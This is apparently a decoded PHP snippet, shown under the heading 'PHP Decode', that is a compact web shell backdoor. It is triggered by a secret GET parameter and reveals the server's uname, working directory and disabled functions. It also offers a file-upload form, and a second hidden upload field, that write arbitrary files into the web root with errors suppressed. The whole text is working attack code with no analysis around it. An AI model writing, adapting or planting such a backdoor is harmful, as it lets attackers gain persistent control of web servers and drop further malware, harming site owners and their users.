PHP Decode

<?php 
 
error_reporting(0); 
 
if(isset($_GET[dtvlqag])) 
 
	{ 
 
		echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]<br>"; 
 
		echo "<font color=#FFFFFF>[pwd]".getcwd()."[/pwd]<br>"; 
 
		print "
";$disable_functions = @ini_get("disable_functions");  
 
		echo "DisablePHP=".$disable_functions; print "<br>";  
 
		echo"<form method=post enctype=multipart/form-data>";  
 
		echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";  
 
		  if($_POST["v"]==up) 
 
{ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>Ok</b>-->".$_FILES["f"]["name"];}else{echo"<b>error";}}   
 
{ if(@copy($_FILES["emad"]["tmp_name"],$_FILES["emad"]["name"])){echo"<b></b>-->".$_FILES["emad"]["name"];}else{echo"<b>";}}} 
 
?>